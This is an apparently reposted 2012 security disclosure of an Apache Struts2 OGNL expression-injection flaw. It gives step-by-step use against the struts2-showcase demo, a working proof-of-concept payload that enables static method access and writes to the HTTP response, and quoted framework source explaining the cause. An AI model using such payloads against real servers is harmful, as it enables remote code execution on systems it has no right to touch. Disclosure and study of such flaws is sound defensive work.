apache struts2 remote code execute, Aug 21 2012 01:54 PM.
this method was published at xcon2012 xcon.xfocus.net. kxlzx http://www.inbreak.net flow this and step by step: 1, down load struts2-showcase from struts.apache.org 2, run struts2-showcase. 3, open url: http://localhost:8080/struts2-showcase/skill/edit.action?skillName=SPRIN G-DEV 4, write skill name to %{expr} for example: %{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.Metho dAccessor.denyMethodExecution']=false)(#[email protected] 2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println( 'hacked by kxlzx'),#hackedbykxlzx.close())} 5, submit and all will done. this method: public static String translateVariables(String expression, ValueStack stack) { return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString(); } look two char "$" and "%" and this method: public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) { // deal with the "pure" expressions first! //expression = expression.trim(); Object result = expression; for (char open : openChars) { ......... while (true) { .......... String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); ............ if user input is "%{expr}" this will execute ognl like: ${%{expr}} this need devloper code like:or like: ${redirectUrl} ---------- kxlzx at alibaba security team. my blog :http://www.inbreak.net edit.action?skillName=${currentSkill.name}
转自:http://www.securityfocus.com/archive/1/523956/30/0/threaded
留言评论(旧系统):
文章来源于lcx.cc:apache struts2 remote code execute
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论